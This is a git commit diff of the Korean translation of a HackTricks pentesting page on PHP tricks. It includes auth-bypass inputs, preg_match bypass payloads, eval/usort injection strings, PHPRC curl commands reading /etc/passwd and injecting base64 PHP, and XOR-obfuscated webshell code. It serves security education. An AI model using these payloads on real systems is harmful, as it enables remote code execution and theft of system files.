mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R
This commit is contained in:
parent
88366b0ca3
commit
29873006f1
3 changed files with 220 additions and 220 deletions
|
@ -2,18 +2,22 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소를 팔로우하세요**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 쿠키 공통 위치:
|
||||
|
||||
이것은 phpMyAdmin 쿠키에도 적용됩니다.
|
||||
|
@ -34,19 +38,19 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||
|
||||
### 느슨한 비교/타입 강제 변환 ( == )
|
||||
|
||||
PHP에서 `==`를 사용하면 예상치 못한 경우가 발생하여 비교가 예상대로 작동하지 않을 수 있습니다. 이는 "=="가 값만을 비교하며 동일한 유형으로 변환한 경우에만 작동하기 때문입니다. 비교하는 데이터의 유형도 동일한지 비교하려면 `===`를 사용해야 합니다.
|
||||
PHP에서 `==`를 사용하면 비교가 예상대로 작동하지 않는 경우가 발생할 수 있습니다. 이는 "=="가 값만을 비교하기 때문에 발생합니다. 비교 대상의 타입도 동일한지 비교하려면 `===`를 사용해야 합니다.
|
||||
|
||||
PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||
|
||||
![](<../../../.gitbook/assets/image (40) (1).png>)
|
||||
![](<../../../.gitbook/assets/image (564).png>)
|
||||
|
||||
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
||||
|
||||
* `"string" == 0 -> True` 숫자로 시작하지 않는 문자열은 숫자와 동일합니다.
|
||||
* `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 다른 숫자/문자열과 비교하여 동일할 수 있습니다 (문자열 내의 숫자는 숫자로 해석됨).
|
||||
* `"0e3264578" == 0 --> True` "0e"로 시작하고 뒤에 아무 문자가 오는 문자열은 0과 동일합니다.
|
||||
* `"0X3264578" == 0X --> True` "0"로 시작하고 임의의 문자 (X는 임의의 문자일 수 있음)가 오고 뒤에 아무 것이 오는 문자열은 0과 동일합니다.
|
||||
* `"0e12334" == "0" --> True` 이것은 매우 흥미로운데, 경우에 따라 "0"으로 시작하는 문자열 입력과 해싱되어 비교되는 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면 비교를 우회할 수 있습니다. 이미 이 형식으로 해싱된 문자열을 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"0X3264578" == 0X --> True` "0"로 시작하고 임의의 문자 (X는 임의의 문자일 수 있음)가 오고 뒤에 아무 문자가 오는 문자열은 0과 동일합니다.
|
||||
* `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 경우에 따라 "0"으로 시작하는 문자열 입력과 해당 문자열을 해싱하고 비교할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 경우 비교를 우회할 수 있습니다. 이 형식의 **이미 해싱된 문자열**을 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` 문자열 내의 모든 문자는 정수 0과 동일합니다.
|
||||
|
||||
자세한 정보: [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
@ -63,18 +67,18 @@ var_dump(in_array(0, $values, true));
|
|||
```
|
||||
### strcmp()/strcasecmp()
|
||||
|
||||
만약 이 함수가 **인증 확인** (예: 비밀번호 확인)에 사용된다면, 사용자가 비교의 한 쪽을 제어할 수 있기 때문에 비밀번호 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
|
||||
만약 이 함수가 **인증 확인** (예: 비밀번호 확인)에 사용된다면, 사용자가 비교의 한 쪽을 제어할 수 있기 때문에 비밀번호 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 이렇게 하면 이 확인을 우회할 수 있습니다:
|
||||
```php
|
||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
```
|
||||
### `strcasecmp()`에서도 동일한 오류가 발생합니다.
|
||||
|
||||
### 엄격한 유형 변환
|
||||
|
||||
`strcasecmp()`에서도 동일한 오류가 발생합니다.
|
||||
|
||||
심지어 `===`를 사용하더라도 **유형 변환**에 취약한 **비교**가 발생할 수 있습니다. 예를 들어, 비교가 **데이터를 다른 유형의 객체로 변환한 후 비교하는 경우**:
|
||||
`===`를 사용하더라도 **유형 변환에 취약한** 오류가 발생할 수 있습니다. 예를 들어, 비교가 **데이터를 비교하기 전에 다른 유형의 객체로 변환하는 경우**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
|
@ -84,7 +88,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
|||
|
||||
#### 새 줄 우회
|
||||
|
||||
그러나 정규식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**하므로, 어떻게든 **여러 줄로 입력을 보낼 수 있다면**, 이 검사를 우회할 수 있습니다. 예시:
|
||||
그러나 정규식의 시작을 구분할 때`preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**하므로, 어떻게든 **여러 줄로 입력을 보낼 수 있다면**, 이 검사를 우회할 수 있습니다. 예시:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -97,7 +101,7 @@ echo preg_match("/^.*1/",$myinput);
|
|||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
다음 검사를 우회하려면 **새 줄로 인코딩된 값**(`%0A`)을 보낼 수 있거나 **JSON 데이터**를 보낼 수 있습니다. **여러 줄에 걸쳐** 보내세요:
|
||||
이 체크를 우회하려면 **새 줄로 구분된 값 url로 인코딩하여 전송**(`%0A`)하거나 **JSON 데이터**를 전송할 수 있다면 **여러 줄에 걸쳐 전송**하세요:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
|
@ -107,8 +111,8 @@ echo preg_match("/^.*1.*$/",$myinput);
|
|||
|
||||
#### **길이 오류 우회**
|
||||
|
||||
(이 우회 방법은 PHP 5.2.5에서 시도되었으며 PHP 7.3.15에서 작동하지 않았습니다)\
|
||||
`preg_match()`에 유효한 매우 **큰 입력**을 보낼 수 있다면, **처리할 수 없게** 만들어 **검사를 우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트하는 경우 다음과 같이 보낼 수 있습니다:
|
||||
(이 우회는 PHP 5.2.5에서 시도되었으며 PHP 7.3.15에서 작동하지 않았습니다)\
|
||||
`preg_match()`에 유효한 매우 **큰 입력**을 보낼 수 있다면, **처리할 수 없게** 만들어 **검사를 우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트에 넣는 경우 다음과 같이 보낼 수 있습니다:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
|
@ -116,14 +120,14 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
|||
|
||||
트릭 출처: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
간단히 말하면 PHP의 `preg_*` 함수에서는 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 합니다. PCRE에서는 일부 정규 표현식이 많은 재귀 호출을 사용하여 일치시킵니다. 이는 많은 스택 공간을 사용합니다. 재귀 호출 횟수에 제한을 둘 수 있지만, PHP에서는 이 한계가 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다.
|
||||
간단히 말하면 PHP의 `preg_*` 함수에서는 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 합니다. PCRE에서는 일부 정규 표현식이 많은 재귀 호출을 사용하여 일치시킵니다. 이는 많은 스택 공간을 사용합니다. 재귀 횟수에 대한 제한을 설정할 수 있지만 PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다.
|
||||
|
||||
이 문제에 대해 더 자세히 설명된 [이 Stackoverflow 쓰레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 게시물에 링크되어 있습니다. 이제 우리의 작업은 명확해졌습니다:\
|
||||
**정규식이 100,000회 이상의 재귀를 수행하도록 하는 입력을 보내어 SIGSEGV를 발생시키고 `preg_match()` 함수가 `false`를 반환하도록 만들어 응용 프로그램이 우리의 입력이 악의적이지 않다고 생각하게 하며, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라운 결과를 던져 SSTI --> RCE --> 플래그를 획들하는 것입니다 :)**.
|
||||
**정규식이 100,000회 이상의 재귀를 수행하도록 하는 입력을 보내어 SIGSEGV를 발생시키고 `preg_match()` 함수가 `false`를 반환하도록 만들어 응용 프로그램이 우리의 입력이 악의적이지 않다고 생각하게 하며, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라운 것을 던져 SSTI --> RCE --> 플래그를 획들하기**.
|
||||
|
||||
실제로 정규식 관점에서는 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세는 것이며, 이는 [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에서 언급하듯이 `pcre.backtrack_limit` 변수에서 기본값으로 1,000,000(1백만)입니다.\
|
||||
실제로 정규식 용어로는 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세는 것이며, 이는 [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에서 `pcre.backtrack_limit` 변수의 기본값이 1,000,000(1백만)임을 명시하고 있습니다.\
|
||||
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계(50만 개의 순방향 및 50만 개의 역방향)를 결과로 낼 것입니다:
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
|
@ -161,15 +165,15 @@ readfile($page);
|
|||
|
||||
## 더 많은 속임수
|
||||
|
||||
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우 **register\_globals**가 활성화될 수 있습니다 (또는 그들의 동작이 모방됩니다). 이는 전역 변수인 $\_GET과 같은 변수에 값이 있는 경우에는 $\_GET\["param"]="1234"와 같이 액세스할 수 있습니다. 따라서 HTTP 매개변수를 보내어 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.
|
||||
* **같은 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장**되므로 도메인 내에서 **다른 경로에서 다른 쿠키가 사용**되는 경우 해당 경로가 다른 경로의 쿠키에 액세스하도록 설정할 수 있습니다. 이렇게 하면 **두 경로가 동일한 이름의 변수에 액세스**하는 경우 **경로1의 해당 변수의 값을 경로2에 적용**할 수 있습니다. 그런 다음 경로2는 경로1의 변수를 유효한 값으로 취할 것입니다 (쿠키에 해당하는 이름을 경로2에 제공함으로써).
|
||||
* 기계 사용자의 **사용자 이름**을 가지고 있는 경우. 주소를 확인하십시오: **/\~\<USERNAME>** PHP 디렉토리가 활성화되어 있는지 확인하십시오.
|
||||
* **register\_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우 **register\_globals**가 활성화될 수 있습니다 (또는 그들의 동작이 모방됩니다). 이는 전역 변수인 $\_GET과 같은 변수에 값이 있는 경우에, 예를 들어 $\_GET\["param"]="1234"와 같이 값이 있다면 **$param를 통해 액세스할 수 있습니다. 따라서 HTTP 매개변수를 보내어 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
|
||||
* **같은 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장**되므로, 도메인 내에서 **다른 경로에서 다른 쿠키가 사용**된다면 해당 경로가 다른 경로의 쿠키에 액세스하도록 만들 수 있습니다. 이렇게 하면 **두 경로가 동일한 이름의 변수에 액세스**하도록 만들 수 있으며, 그런 다음 경로2에서 경로1의 변수 값을 적용할 수 있습니다 (쿠키에 해당하는 이름을 경로2에서 제공함으로써).
|
||||
* **기계 사용자의 사용자 이름**을 가지고 있을 때, 주소를 확인하십시오: **/\~\<USERNAME>** PHP 디렉토리가 활성화되어 있는지 확인하십시오.
|
||||
* [**php 래퍼를 사용한 LFI 및 RCE**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비밀번호가 일치하는지 **확인**하는 데 사용됩니다.\
|
||||
지원되는 알고리즘은 다음과 같습니다: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT` (`$2y$`로 시작). **PASSWORD\_DEFAULT가 자주 PASSWORD\_BCRYPT와 동일**하며 현재 **PASSWORD\_BCRYPT**는 입력의 72바이트 제한이 있습니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해싱하려고 할 때는 처음 72바이트만 사용됩니다:
|
||||
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고, 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용**됩니다.\
|
||||
지원되는 알고리즘은 다음과 같습니다: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT` (`$2y$`로 시작). **PASSWORD\_DEFAULT가 자주 PASSWORD\_BCRYPT와 동일**하며 현재 **PASSWORD\_BCRYPT**는 **72바이트의 입력에 대한 크기 제한**이 있습니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해싱하려고 할 때는 처음 72바이트만 사용됩니다:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -179,10 +183,10 @@ True
|
|||
```
|
||||
### HTTP 헤더 우회를 통한 PHP 오류 남용
|
||||
|
||||
만약 **PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 에코하는 경우**, 사용자는 PHP 서버가 일부 **충분히 긴 콘텐츠를 다시 출력하도록** 만들 수 있습니다. 따라서 응답에 **헤더를 추가하려고 할 때 서버가 오류를 발생**시킵니다.\
|
||||
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생**하도록 만들었으며, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 시도할 때** (예: CSP 헤더가 사용자에게 전송되지 않음) 실패했습니다:
|
||||
만약 **PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 에코하는 경우**, 사용자는 PHP 서버가 일부 **충분히 긴 내용을 다시 출력하도록** 만들어서 응답에 **헤더를 추가하려고 할 때 서버가 오류를 발생**시킬 수 있습니다.\
|
||||
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생**하도록 만들었으며, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 시도할 때 실패**했습니다 (예: CSP 헤더가 사용자에게 전송되지 않음):
|
||||
|
||||
![](<../../../.gitbook/assets/image (465).png>)
|
||||
![](<../../../.gitbook/assets/image (1082).png>)
|
||||
|
||||
## 코드 실행
|
||||
|
||||
|
@ -195,8 +199,7 @@ True
|
|||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
"replace" 인수에서 코드를 실행하려면 적어도 하나의 일치가 필요합니다.\
|
||||
이 preg\_replace 옵션은 **PHP 5.5.0부터 사용이 중단**되었습니다.
|
||||
"replace" 인수에서 코드를 실행하려면 적어도 하나의 일치가 필요합니다. 이 preg\_replace 옵션은 **PHP 5.5.0부터 사용이 중단**되었습니다.
|
||||
|
||||
### **Eval()을 통한 RCE**
|
||||
```
|
||||
|
@ -213,16 +216,16 @@ php 내의 이 함수는 **문자열로 작성된 코드를 실행**하여 **tru
|
|||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
### **usort()를 통한 RCE**
|
||||
|
||||
이 함수는 특정 함수를 사용하여 항목 배열을 정렬하는 데 사용됩니다.\
|
||||
이 함수를 악용하려면:
|
||||
|
||||
코드 **구문을** **손상**하고 **페이로드를 추가**한 다음 **다시 수정**해야합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 **논리 연산**을 사용할 수 있습니다. "or", "||"는 작동하지 않습니다. 왜냐하면 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않기 때문입니다. 마찬가지로 ";"도 작동하지 않습니다. 왜냐하면 우리의 페이로드가 실행되지 않기 때문입니다.
|
||||
코드 **구문을** **손상**하고 **페이로드를 추가**한 다음 **다시 수정**해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 **논리 연산**을 사용할 수 있습니다. "or", "||"는 작동하지 않습니다. 왜냐하면 첫 번째 조건이 참이면 페이로드가 실행되지 않기 때문입니다. 마찬가지로 ";"도 작동하지 않습니다. 왜냐하면 페이로드가 실행되지 않기 때문입니다.
|
||||
|
||||
**다른 옵션**은 명령어 실행을 문자열에 추가하는 것입니다: `'.highlight_file('.passwd').'`
|
||||
|
||||
**다른 옵션** (내부 코드가 있는 경우)는 몇 가지 변수를 수정하여 실행을 변경하는 것입니다: `$file = "hola"`
|
||||
|
||||
### **usort()를 통한 RCE**
|
||||
|
||||
이 함수는 특정 함수를 사용하여 항목 배열을 정렬하는 데 사용됩니다.\
|
||||
이 함수를 남용하려면:
|
||||
```php
|
||||
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
||||
VALUE: );phpinfo();#
|
||||
|
@ -242,12 +245,14 @@ function foo($x,$y){
|
|||
usort();}phpinfo;#, "cmp");
|
||||
}?>
|
||||
```
|
||||
### **코드의 나머지 부분을 주석 처리하는 또 다른 방법은 **//**를 사용할 수 있습니다.**
|
||||
### **주석**
|
||||
|
||||
나머지 코드를 주석 처리하려면 **//**를 사용할 수 있습니다.
|
||||
|
||||
닫아야 하는 괄호의 수를 발견하려면:
|
||||
|
||||
- `?order=id;}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ';'`). 아마도 하나 이상의 괄호가 누락된 것 같습니다.
|
||||
- `?order=id);}//`: **경고**를 받습니다. 그것은 올바른 것 같습니다.
|
||||
- `?order=id);}//`: **경고**를 받습니다. 그것이 올바른 것 같습니다.
|
||||
- `?order=id));}//`: 오류 메시지를 받습니다 (`Parse error: syntax error, unexpected ')' i`). 아마도 닫는 괄호가 너무 많은 것 같습니다.
|
||||
|
||||
### **.httaccess를 통한 RCE**
|
||||
|
@ -256,26 +261,26 @@ usort();}phpinfo;#, "cmp");
|
|||
|
||||
다양한 .htaccess 쉘은 [여기](https://github.com/wireghoul/htshells)에서 찾을 수 있습니다.
|
||||
|
||||
### **환경 변수를 통한 RCE**
|
||||
### Env 변수를 통한 RCE
|
||||
|
||||
PHP에서 **환경 변수를 수정**할 수 있는 취약점을 발견하면 (또 다른 파일을 업로드할 수 있는 취약점이 있어야 하지만, 더 많은 연구를 통해 이를 우회할 수 있을 수도 있음), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
|
||||
PHP에서 **env 변수를 수정**할 수 있는 취약점을 발견하면 (그리고 파일을 업로드할 수 있는 다른 취약점이 있으면, 더 많은 연구로 이를 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): 이 환경 변수는 다른 이진 파일을 실행할 때 임의의 라이브러리를 로드할 수 있도록 합니다 (이 경우에는 작동하지 않을 수도 있음).
|
||||
- **`PHPRC`** : PHP에게 **구성 파일인** `php.ini`라고 일반적으로 불리는 파일의 위치를 알려줍니다. 자체 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP를 가리키도록 할 수 있습니다. 두 번째 업로드한 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일에는 일반 **PHP 코드가 포함**되어 있으며, 이 코드는 다른 모든 코드보다 먼저 PHP 런타임에 의해 실행됩니다.
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): 이 env 변수는 다른 이진 파일을 실행할 때 임의의 라이브러리를 로드할 수 있도록 합니다 (이 경우에는 작동하지 않을 수 있습니다).
|
||||
- **`PHPRC`** : PHP에게 **구성 파일인** `php.ini`라고 일반적으로 불리는 파일의 위치를 알려줍니다. 자체 구성 파일을 업로드할 수 있다면, 그럼 `PHPRC`를 사용하여 PHP를 가리키도록 합니다. 두 번째 업로드한 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일에는 일반 **PHP 코드가 포함**되어 있으며, 이 코드는 다른 모든 코드보다 먼저 PHP 런타임에 의해 실행됩니다.
|
||||
1. 쉘코드가 포함된 PHP 파일을 업로드합니다.
|
||||
2. PHP 전처리기가 단계 1에서 업로드한 파일을 실행하도록 지시하는 **`auto_prepend_file`** 지시문이 포함된 두 번째 파일을 업로드합니다.
|
||||
3. `PHPRC` 변수를 단계 2에서 업로드한 파일로 설정합니다.
|
||||
- 이 체인을 실행하는 방법에 대한 자세한 정보는 [**원본 보고서**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)에서 확인할 수 있습니다.
|
||||
- **PHPRC** - 다른 옵션
|
||||
- 파일을 업로드할 수 없는 경우 FreeBSD에서 "파일" `/dev/fd/0`을 사용할 수 있습니다. 이 파일은 요청을 `stdin`에 보낸 **본문**을 포함합니다:
|
||||
- 파일을 업로드할 수 없는 경우 FreeBSD에서 "file" `/dev/fd/0`를 사용할 수 있습니다. 이 파일은 요청의 **`stdin`**인 **body**를 포함합니다:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
- 또는 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 선행하는 방식으로 RCE를 얻을 수 있습니다:
|
||||
- 또는 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 먼저 추가하여 RCE를 얻을 수 있습니다:
|
||||
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
- 이 기술은 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 확인할 수 있습니다.
|
||||
|
||||
## PHP 정적 분석
|
||||
|
||||
이 함수들을 호출하는 코드에 코드를 삽입할 수 있는지 확인하십시오 ([여기](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)에서).
|
||||
이 함수 호출에 코드를 삽입할 수 있는지 확인하십시오 ([여기](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)에서).
|
||||
```php
|
||||
exec, shell_exec, system, passthru, eval, popen
|
||||
unserialize, include, file_put_cotents
|
||||
|
@ -289,7 +294,7 @@ $_COOKIE | if #This mea
|
|||
|
||||
## PHP 래퍼 및 프로토콜
|
||||
|
||||
PHP 래퍼와 프로토콜을 사용하면 시스템에서 **쓰기 및 읽기 보호를 우회**하고 침해할 수 있습니다. [**자세한 정보는 이 페이지를 확인하십시오**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
PHP 래퍼 및 프로토콜을 사용하면 시스템의 쓰기 및 읽기 보호를 우회하고 침해할 수 있습니다. [**자세한 정보는 이 페이지를 확인하십시오**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
|
||||
|
||||
## Xdebug 미인증 RCE
|
||||
|
||||
|
@ -309,7 +314,7 @@ echo "$x ${Da}"; //Da Drums
|
|||
```
|
||||
## RCE abusing new $\_GET\["a"]\($\_GET\["b"])
|
||||
|
||||
만약 페이지에서 **임의의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있습니다. 다음 페이지를 확인하여 자세한 내용을 알아보세요:
|
||||
만약 페이지에서 **임의의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있을 것입니다. 다음 페이지를 확인하여 자세한 내용을 알아보세요:
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
|
@ -325,30 +330,30 @@ $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #syst
|
|||
```
|
||||
### **XOR**
|
||||
|
||||
XOR은 두 개의 비트가 서로 다를 때 1을 반환하는 논리 연산자입니다.
|
||||
XOR은 두 개의 비트가 서로 다를 때 1을 반환하는 논리 연산자입니다. XOR은 데이터를 암호화하거나 복호화하는 데 사용될 수 있습니다.
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
$___=$__; #Could be not needed inside eval
|
||||
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR 쉘 코드
|
||||
### XOR 쉘 코드 간단한 방법
|
||||
|
||||
[**이 설명**](https://mgp25.com/ctf/Web-challenge/)에 따르면 다음과 같이 쉽게 쉘 코드를 생성할 수 있습니다:
|
||||
[**이 설명**](https://mgp25.com/ctf/Web-challenge/)에 따르면 다음과 같이 간단한 쉘 코드를 생성할 수 있습니다:
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
그래서, **숫자와 문자 없이 임의의 PHP를 실행**할 수 있다면, 다음과 같은 요청을 보내어 악용하여 임의의 PHP를 실행할 수 있습니다:
|
||||
